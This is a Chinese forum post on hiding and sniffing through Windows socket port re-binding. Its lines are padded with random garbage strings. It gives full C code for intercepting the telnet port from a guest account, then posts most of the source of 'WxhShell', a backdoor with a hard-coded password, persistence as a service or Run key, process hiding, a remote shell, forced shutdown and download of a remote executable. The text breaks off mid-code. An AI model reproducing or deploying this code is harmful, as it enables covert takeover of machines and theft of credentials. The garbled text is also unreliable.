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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: T.K$a\/{,  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ~L}0) FZ\9  
vWj|[| <rX  
  saddr.sin_family = AF_INET; I[F.M}5:z  
bfrBHW#  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); xQ$*K]VP  
Y@L`XNl  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); p\!+j@H:  
!5{t1 oJ  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 o#6j+fo!n  
`aSz"4Wd  
  这意味着什么?意味着可以进行如下的攻击: ?(R6}ab>K7  
mD0pqK  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ob0clJX  
|EF*]qI  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) M6g!bK2l  
Zcf?4{Kd?  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 [81k4kU  
u2BVQ<SA  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  @BBqH&<`  
kw1PIuz4&  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 k^ID  
l tQ:c  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 9ft7  
Gn&)*qCO  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 *<BasP  
:%;K`w  
  #include ~ZL}j+L/  
  #include T!J\Dm-  
  #include Imi_}NB+  
  #include    dD!} P$  
  DWORD WINAPI ClientThread(LPVOID lpParam);   U3p=H^MB.  
  int main() N?R1;|Z]  
  { h-#Glse<  
  WORD wVersionRequested; jJg 'Y:K9q  
  DWORD ret; 2uU~$7~N  
  WSADATA wsaData; Ro? 4tGn  
  BOOL val; 8m-ryr)  
  SOCKADDR_IN saddr; 4Mnne'7  
  SOCKADDR_IN scaddr; %*:-4K  
  int err; L?0dZY-"  
  SOCKET s; X0p=jBye~>  
  SOCKET sc; whxE[Xnv  
  int caddsize; u:"mq.Q  
  HANDLE mt; {:'e H  
  DWORD tid;   !^B`7  
  wVersionRequested = MAKEWORD( 2, 2 ); e WcS>N  
  err = WSAStartup( wVersionRequested, &wsaData ); v#=-  
  if ( err != 0 ) { .:$%3#N$(Y  
  printf("error!WSAStartup failed!\n"); @cSz!E}  
  return -1; Q9?/)&3Bu  
  } @P[Tu; 4  
  saddr.sin_family = AF_INET; [u/g =^+u  
   m9xO& @#vx  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 +KXg&A/^  
Exk[;lI  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ^;Ap-2Ww  
  saddr.sin_port = htons(23); 0SA  c1  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) B9Y "J  
  { u;;]S!:M  
  printf("error!socket failed!\n"); =Tb~CT=  
  return -1; ysDfp'C,  
  } H?UmHww E  
  val = TRUE; pA4oy  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 IP/ zFbc  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) [ gx<7}[  
  { l`fjz-eE  
  printf("error!setsockopt failed!\n"); |jF)~k6  
  return -1; fqFE GyeNr  
  } 3($%AGKJ  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; @kRe0:t  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 uFL~^vz  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 69TQHJ[  
wp$C J09f*  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ??ah  
  { ko $bCG%  
  ret=GetLastError(); F=$2Gz 'RT  
  printf("error!bind failed!\n"); ! E#XmYhX=  
  return -1; (]vHW+'  
  } &ZClv"6  
  listen(s,2);  s>76?Q:i  
  while(1) M E4MZt:>  
  { +#A >[,U  
  caddsize = sizeof(scaddr); 3[pA:Z+xx  
  //接受连接请求 4:y;<8+j\  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 6rF[eb  
  if(sc!=INVALID_SOCKET) |wQ|h$|  
  { `BdZqXKG  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); n!~{4 uUW  
  if(mt==NULL) (Lo<3a-]  
  { =YE"6iU  
  printf("Thread Creat Failed!\n"); :L&-  
  break; O}*[@uv/  
  } oJvF)d@gU  
  } @ {j'Pf'  
  CloseHandle(mt); (|Y[5O)  
  } 4Fgy<^94`  
  closesocket(s); pMHY2t  
  WSACleanup(); K%Vl:2#F  
  return 0; TWK(vEDM  
  }   !6'j W!  
  DWORD WINAPI ClientThread(LPVOID lpParam) EXK~Zf|&Z  
  { 5YQ4]/h  
  SOCKET ss = (SOCKET)lpParam; cP`o?:  
  SOCKET sc; C6Ap  4  
  unsigned char buf[4096]; gxycw4kz  
  SOCKADDR_IN saddr; -e3m!h  
  long num; ygW,4Vz7J  
  DWORD val; =q.2S; ?  
  DWORD ret; Ia*eb%HG  
  //如果是隐藏端口应用的话,可以在此处加一些判断 )wQR2$x~  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   }Gqx2 )H  
  saddr.sin_family = AF_INET; x\)0+c~\}x  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); jFZJ #'CNS  
  saddr.sin_port = htons(23); 6=3}gd5  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) nzmv>s&UW  
  { Nc()$Nl8  
  printf("error!socket failed!\n"); RAxAy{  
  return -1; #qi@I;;t  
  } @@9#od O  
  val = 100; hs}nI/#  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) V/j+Z1ZW  
  { dW Y0  
  ret = GetLastError(); ;]3Tuq  
  return -1; r3<yG"J86  
  } -)(HG)3  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) / Li?;H  
  { hhLEU_U  
  ret = GetLastError(); a02@CsH  
  return -1; BaIH7JLZ8  
  } `{s:lf  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) js/N qf2>  
  { H.qp~-n  
  printf("error!socket connect failed!\n"); ]e@'9`G-'  
  closesocket(sc); $rD&rsx6  
  closesocket(ss); Zmw'.hL  
  return -1; -bdF=  
  } xw(KSPN  
  while(1) );$_|]#  
  { >y#<WB$i  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Q9=X|  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 {]]qd!,  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 E#X(0(A)  
  num = recv(ss,buf,4096,0); H@GiHej  
  if(num>0) $q);xs  
  send(sc,buf,num,0); `j{ 5$X  
  else if(num==0) N '2Nv  
  break; }D j W  
  num = recv(sc,buf,4096,0); yyb8l l?@a  
  if(num>0) _PZGns,u  
  send(ss,buf,num,0); RI9&KS  
  else if(num==0) 7KXc9:p+  
  break; {{w5F2b((%  
  } //S/pCqED  
  closesocket(ss); BWV)> -V  
  closesocket(sc); `2Rd=M]?  
  return 0 ; ")T;3/c  
  } E Mq P  
")LcB' C  
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========================================================== D#R5G   
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下边附上一个代码,,WXhSHELL aGY R:jR$  
da<B6!  
========================================================== ZqH.$nXP  
Dz4e.tvN  
#include "stdafx.h" ~Ry?}5&:  
n?'I&0>M  
#include <stdio.h> %" kF i  
#include <string.h> 1P i_V  
#include <windows.h> LCKCg[D  
#include <winsock2.h> ObJgJr  
#include <winsvc.h> ~.\CG'g  
#include <urlmon.h> \~u7 k  
x-J.*X/aB  
#pragma comment (lib, "Ws2_32.lib") ;pn*|Bsq  
#pragma comment (lib, "urlmon.lib") g{0a]'ph  
SStaS<q '  
#define MAX_USER   100 // 最大客户端连接数 W.u+R?a=  
#define BUF_SOCK   200 // sock buffer gp@X(d  
#define KEY_BUFF   255 // 输入 buffer vKrOIBP  
iF0x>pvJ@  
#define REBOOT     0   // 重启 "QCtF55X&  
#define SHUTDOWN   1   // 关机 {"f4oK{w  
ktE~)G  
#define DEF_PORT   5000 // 监听端口 V ,# |\  
*nZe|)m  
#define REG_LEN     16   // 注册表键长度 -lICoRO#  
#define SVC_LEN     80   // NT服务名长度 ITpo:"X g  
R-%v??  
// 从dll定义API ha Tmfh_|  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 7nsn8WN[  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); NA@<v{z  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); aL?+# j^"  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ~bC-0^/ 8|  
K;uO<{a)r  
// wxhshell配置信息 @q(sig00nr  
struct WSCFG { d`eX_]Z  
  int ws_port;         // 监听端口 {S l#z }@s  
  char ws_passstr[REG_LEN]; // 口令 ?LxBH -o(  
  int ws_autoins;       // 安装标记, 1=yes 0=no R%%Uw %`  
  char ws_regname[REG_LEN]; // 注册表键名 D5Z@6RVt  
  char ws_svcname[REG_LEN]; // 服务名 dUvgFOy|P  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 $%:=;1Jl  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 5)@UpcjUA  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 q7#4e?1  
int ws_downexe;       // 下载执行标记, 1=yes 0=no u)X]]6YJ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" !4Oj^yy%  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 qpt},yn)C  
;xXD2{q  
}; R(t1Ei.-?  
;L`NF"  
// default Wxhshell configuration gRsV -qS  
struct WSCFG wscfg={DEF_PORT, " J4?Sb<  
    "xuhuanlingzhe", z JBcz,  
    1, #qnK nxD  
    "Wxhshell", !_P-?u  
    "Wxhshell", $wm.,Vb  
            "WxhShell Service", Jx+e_k$gHO  
    "Wrsky Windows CmdShell Service", E*"-U!?)l2  
    "Please Input Your Password: ", {SRv=g  
  1, xo GX&^=  
  "http://www.wrsky.com/wxhshell.exe", oF(=@UL  
  "Wxhshell.exe" )k~{p;Ke  
    }; c,,(s{1  
ZUd*[\F~!  
// 消息定义模块 e~1$x`DH  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; =XhxD<kI  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 9Od|R"aS|  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 3?x}48  
char *msg_ws_ext="\n\rExit."; JY0}#FtgV  
char *msg_ws_end="\n\rQuit."; ?l?_8y/ww  
char *msg_ws_boot="\n\rReboot..."; ]vQU(@+I  
char *msg_ws_poff="\n\rShutdown..."; 4|INy =<"t  
char *msg_ws_down="\n\rSave to "; krSOSW J  
3bK=Q3N  
char *msg_ws_err="\n\rErr!"; NGp^/PZX0  
char *msg_ws_ok="\n\rOK!"; Egm-PoPe  
6xW17P  
char ExeFile[MAX_PATH]; >U#j\2!Sg  
int nUser = 0; z#Cgd-^7.#  
HANDLE handles[MAX_USER]; j\%m6\{n|  
int OsIsNt; M1,1J-h  
r34 GO1d  
SERVICE_STATUS       serviceStatus; Rap =&  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 'Im&&uSkr  
gMB/ ~g5b0  
// 函数声明 <,+6:NmT  
int Install(void); F m$;p6&j  
int Uninstall(void); 'U{6LSaCb  
int DownloadFile(char *sURL, SOCKET wsh); g 6!#n  
int Boot(int flag); 12S[m~L%  
void HideProc(void); 0$I!\y\  
int GetOsVer(void); Mb\[` 4z  
int Wxhshell(SOCKET wsl); :qxd s>Xm  
void TalkWithClient(void *cs); fudLm  
int CmdShell(SOCKET sock); X0zE-h6P  
int StartFromService(void); P#x]3j]  
int StartWxhshell(LPSTR lpCmdLine); I3D#wXW  
xx EcmS#>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 5c+7c@.  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); F<^93a9  
-"X} )N2  
// 数据结构和表定义 [0-zJy|,  
SERVICE_TABLE_ENTRY DispatchTable[] =  i'NN  
{ d$*SVd:  
{wscfg.ws_svcname, NTServiceMain}, liG3   
{NULL, NULL} V[BlT|t  
}; }hX"A!0  
Q =cbHDB  
// 自我安装 MESPfS+  
int Install(void) j,CMcP7A -  
{ Co^a$K  
  char svExeFile[MAX_PATH]; :fE*fU@  
  HKEY key; Ea2&7  
  strcpy(svExeFile,ExeFile); *|Fl&`2  
`A o;xOJ  
// 如果是win9x系统,修改注册表设为自启动 x1ID6kI[{*  
if(!OsIsNt) { #p^r)+\3=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,wlSNb@'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); L~~Dj:%uq  
  RegCloseKey(key); ?G>#'T[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { V7 dAB,:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); DUK.-|a7  
  RegCloseKey(key); -!p -nk@9|  
  return 0; )gAFz+  
    } .+c YzS] !  
  } 3((53@s98  
} `[J(a u$z  
else { % 1p4K)  
 p3r1lUw  
// 如果是NT以上系统,安装为系统服务 P$|DiiH  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); YJ{d\j  
if (schSCManager!=0) jn;b{*Lf  
{ pY9>z;qD  
  SC_HANDLE schService = CreateService n!(g<"  
  ( 4)3!n*I  
  schSCManager, oFeflcSz  
  wscfg.ws_svcname, N#`aVW'{v2  
  wscfg.ws_svcdisp, R.)U<`||  
  SERVICE_ALL_ACCESS, fJ3qL# '  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , K!9rH>`\  
  SERVICE_AUTO_START, \T_?<t,UT  
  SERVICE_ERROR_NORMAL, S hM}w/4  
  svExeFile, &sx|sLw)  
  NULL, ^Y:Q%?uB/  
  NULL, = *A_{u;E  
  NULL, B&m?3w  
  NULL, nA]dQ+5sT  
  NULL /m;w~ -N  
  ); cF[[_  
  if (schService!=0) NW9k.D%  
  { 5W!E.fz*T  
  CloseServiceHandle(schService); A{E0 a:v  
  CloseServiceHandle(schSCManager); FZ^byIS[  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Tj{!Fx^H  
  strcat(svExeFile,wscfg.ws_svcname); ZtEHP`Iin  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { [<sBnHbvQ.  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); % KY&E>^  
  RegCloseKey(key); uu>[WFh  
  return 0; <][|,9mw  
    } cQv*lvG9>  
  } +>OEp * j  
  CloseServiceHandle(schSCManager); ?#kI9n<O  
} U<r<$K  
} *k'9 %'<  
CFZ= !s)B  
return 1; =dX*:An  
} PSHs<Z47  
3MjMN%{P  
// 自我卸载 3a{QkVeV7  
int Uninstall(void) ]'_z (s}  
{ h3 p 3~xq  
  HKEY key; -lMC{~h\(S  
[-$&pB>w8'  
if(!OsIsNt) { z6G^BaT'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;lAz@jr+  
  RegDeleteValue(key,wscfg.ws_regname); `bT{E.(T  
  RegCloseKey(key); <$D)uY K  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { aXC`yQ?  
  RegDeleteValue(key,wscfg.ws_regname); ;gm){ g  
  RegCloseKey(key); 66'TdF]"  
  return 0; @-b}iP<T  
  } jd2Fh):q  
} r 'jVF'w  
} rP`\<}a.  
else { Y+?bo9CES!  
DO03vN  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); \\)-[4uC  
if (schSCManager!=0) Vn/6D[}Tu  
{ _i8$!b2Mr  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); (rw bF  
  if (schService!=0) Op%^dwVG(v  
  { 2|%30i,vV  
  if(DeleteService(schService)!=0) { ;#~ !`>n?  
  CloseServiceHandle(schService); ~hvhT}lE  
  CloseServiceHandle(schSCManager); yJp& A  
  return 0; 8:&@MZQ&!  
  } Z@ws,f^e  
  CloseServiceHandle(schService); Ew;<iY[  
  } ,Fr{i1Ky  
  CloseServiceHandle(schSCManager); 4UL-j  
} @6D<D6`  
} AN~1E@"  
E?XA/z !  
return 1; H1?1mH  
} g(5s{njL  
H7SqM D*y9  
// 从指定url下载文件 2hu6  
int DownloadFile(char *sURL, SOCKET wsh) "Z{^i3 gN  
{ g{J3Ba  
  HRESULT hr; 8Peqm?{5Y5  
char seps[]= "/"; 5%>U.X?i  
char *token; k Dv)g  
char *file; ,!Hl@(  
char myURL[MAX_PATH]; S$H4xkKs  
char myFILE[MAX_PATH]; ]DUH_<3"E  
%eah=e  
strcpy(myURL,sURL); 8D n]`}ok  
  token=strtok(myURL,seps); p~mB;pZ%;  
  while(token!=NULL) q/3}8BJ  
  { Ka{IueSs  
    file=token; uVO9r-O8p  
  token=strtok(NULL,seps); NPc%}V&C(u  
  } =az$WRV+7!  
Qxvz}r.l]  
GetCurrentDirectory(MAX_PATH,myFILE); OS9v.pz  
strcat(myFILE, "\\"); l1:j/[B=  
strcat(myFILE, file); 8r|LFuI  
  send(wsh,myFILE,strlen(myFILE),0); foFn`?LF  
send(wsh,"...",3,0); @E)XT\;3  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); sooh yK8  
  if(hr==S_OK) )5t_tPv  
return 0; "_l[4o[D  
else MJC Yi<D  
return 1; 4Oy c D  
0I_;?i  
} s=nds"J  
Qm-P& g-  
// 系统电源模块 &q U[ wn:1  
int Boot(int flag) Rk=B;  
{ C[pDPx,#:G  
  HANDLE hToken; H xlw1(zS  
  TOKEN_PRIVILEGES tkp; QCo^#-   
QXz!1o+"  
  if(OsIsNt) { lrE0)B5F  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); h>/ViB@"W|  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); QEgv,J{  
    tkp.PrivilegeCount = 1; 1=X=jPwO C  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 6vA5L_  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); tWiV0PTI  
if(flag==REBOOT) { +{I\r|  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) J53;w:O  
  return 0; 6)$_2G%Zq  
} c`.:"i" k3  
else { B<R-|-#  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) HA%ye"(y8  
  return 0; (+_J0i t  
} _~kcr5  
  } O>GP>U?]  
  else { 0o]K6 b  
if(flag==REBOOT) { 54{"ni 2a  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) LTe7f8A  
  return 0; zT% kx:Fk  
} "v1(f|a  
else { ^sKXn:)  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) W!k6qTz)  
  return 0; *K(xES! b  
} @_Zx'mTI  
} 3(:mRb}  
o^?{j*)g  
return 1; IT(c'}  
} /v{[Z&z  
DR /)hAE  
// win9x进程隐藏模块 aK{\8L3]  
void HideProc(void) /aqN`  
{ zmFFBf"<  
:RsPGj6   
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); fhmr*E'J  
  if ( hKernel != NULL ) F47n_JV!d  
  { F4x7;?W{*  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); %SGO"*_  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); %7#Zb'  
    FreeLibrary(hKernel); 0UJ`<Bfd  
  } 1Ol]^ 'y7)  
!5j3gr ~  
return; aS vE  
} $O'2oeM  
<o+ 7U  
// 获取操作系统版本 noA\5&hqW  
int GetOsVer(void) -ZP&zOsDr  
{ iyYY)roB  
  OSVERSIONINFO winfo; Wp}9%Mq~Jy  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); `M ygDG+u  
  GetVersionEx(&winfo); ib \[ ~rg  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Db=>7@h3C  
  return 1; =h::VB}Lv  
  else }+ 2"?f|]  
  return 0; s;s-6%p  
} GB?#1|,  
tR* W-%  
// 客户端句柄模块 d7J[.^\  
int Wxhshell(SOCKET wsl) |OZ>/l {  
{ 82za4u$q#  
  SOCKET wsh; 'c0'P%[5A  
  struct sockaddr_in client; xH_ie  
  DWORD myID; npcBpGL{  
:ECK $Cu  
  while(nUser<MAX_USER) !X%!7wsc  
{ R+K&<Rz  
  int nSize=sizeof(client); o U}t'WU  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); n>:c}QAJH  
  if(wsh==INVALID_SOCKET) return 1; &]6K]sWJK{  
p@8krOo`  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 8[1DO1*P  
if(handles[nUser]==0) o+-Ge J  
  closesocket(wsh); LnTe_Q7_  
else 7G[ GHc>  
  nUser++; 62)lf2$1  
  } ~5 pC$SC6>  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); h2|vB+W-  
( ssH=a  
  return 0; 8U<.16+5Q  
} e0N=2i?I#z  
K;y\[2;}e,  
// 关闭 socket !qXq y}?w  
void CloseIt(SOCKET wsh) av; (b3Lq  
{ I"cQ5gF?A  
closesocket(wsh); F0BOhlK  
nUser--; 0J:U\S  
ExitThread(0); Ag>>B9  
} SEQO2`]e:  
Nx4DC  
// 客户端请求句柄 c(Uj'uLc  
void TalkWithClient(void *cs) v[, v{5b  
{ Jl}!CE@-  
UOLTCp?M;J  
  SOCKET wsh=(SOCKET)cs; -Ty<9(~S  
  char pwd[SVC_LEN]; XgiI6-B~  
  char cmd[KEY_BUFF]; 3d#9Wyxs  
char chr[1]; A| gs Uh  
int i,j; o}mhy`}  
[I++>4  
  while (nUser < MAX_USER) { ZM-/n>  
c+E//X|  
if(wscfg.ws_passstr) { DV7<n&P  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (}*\ {  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); r>@ B+Xi  
  //ZeroMemory(pwd,KEY_BUFF); Lt;.Nw  
      i=0; 1%SJ1oY  
  while(i<SVC_LEN) { A{i][1N  
Imh2~rw;  
  // 设置超时 5S|}:~7T  
  fd_set FdRead; %)<oX9E  
  struct timeval TimeOut; kH>vD = q>  
  FD_ZERO(&FdRead); Ersr\ZB  
  FD_SET(wsh,&FdRead); +Dq|l}  
  TimeOut.tv_sec=8; .fLiXx  
  TimeOut.tv_usec=0; /^z/]!JG:V  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); R<y  Nv  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); VeNNsg>&  
<i{m.p R>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); fw1;i  
  pwd=chr[0]; Yn IM-  
  if(chr[0]==0xd || chr[0]==0xa) { i_[ HcgT-  
  pwd=0; G_2gKkIK-  
  break; ;I!+ lx3[  
  } ;S=62_ Un  
  i++; =1{H Sf  
    } {~j /XB  
YiIddQ  
  // 如果是非法用户,关闭 socket p~Yy"Ec;p  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); wE,=%?"  
} P|unUW(P  
e/]O<,*  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); "B|nhd  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); LCo1{wi  
p<of<YU)  
while(1) { '|YtNhWZ?  
RJtix uvh@  
  ZeroMemory(cmd,KEY_BUFF); 4)z3X\u|Z2  
yM(_P0  
      // 自动支持客户端 telnet标准   &#.x)>f  
  j=0; tIi!* u  
  while(j<KEY_BUFF) { t/v@vJ`vSH  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); im_w+h%^  
  cmd[j]=chr[0]; Qq`3S>  
  if(chr[0]==0xa || chr[0]==0xd) { +?URVp  
  cmd[j]=0; 4&FNU)tt  
  break; k1^V?O  
  } Qv&T E3  
  j++; t Y:G54d=_  
    } 89*S? C1  
+G5'kYzJ  
  // 下载文件 C!$Xv&"r  
  if(strstr(cmd,"http://")) { 20 jrv'f  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 3M}AxE u  
  if(DownloadFile(cmd,wsh)) !d:tIu{)  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); fs wZM\@  
  else kA1RfSS  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rER~P\-  
  } 5T!&r  
  else { B"~U<6s0  
5|yZEwq  
    switch(cmd[0]) { b cC\  
  "AT&!t[J  
  // 帮助 EwTS!gL  
  case '?': { qsI{ b<n  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); +ckMT3  
    break; z VnIr<!8_  
  } 0w^jls  
  // 安装 XZF%0g2$b  
  case 'i': { Zk wJ.SuU  
    if(Install()) F?!FD>L{`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '*8  
    else 2}D,df'W4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q A.+U:I8  
    break; gBMta+<fE~  
    } [Dnusp7e  
  // 卸载 eT;AAGql  
  case 'r': { cB{%u '  
    if(Uninstall()) Vz%"9`r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .8-PB*vb  
    else #X4LLS]VV  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #]"/{Z  
    break; ,xYg  
    } OdO{xG G@  
  // 显示 wxhshell 所在路径 TLy ;4R2Nn  
  case 'p': { N[>:@h  
    char svExeFile[MAX_PATH]; x]H3Y3  
    strcpy(svExeFile,"\n\r"); n1_ %Td  
      strcat(svExeFile,ExeFile); r i,2clp  
        send(wsh,svExeFile,strlen(svExeFile),0); \{kHSV%z  
    break; TV? ^c?{5  
    } %cS#+aK6M'  
  // 重启 JAN|aCzD  
  case 'b': { RTA%hCr!  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); eDuX"/kHA  
    if(Boot(REBOOT)) O)l%OOv   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6{L F-`S%  
    else { D4d]3|/T  
    closesocket(wsh); S45'j(S=  
    ExitThread(0); DQcWq'yY^  
    } -P2 @mx%  
    break; D^$]>-^  
    } 8:~b &>   
  // 关机 ; /=L  
  case 'd': { }&mj.hGv  
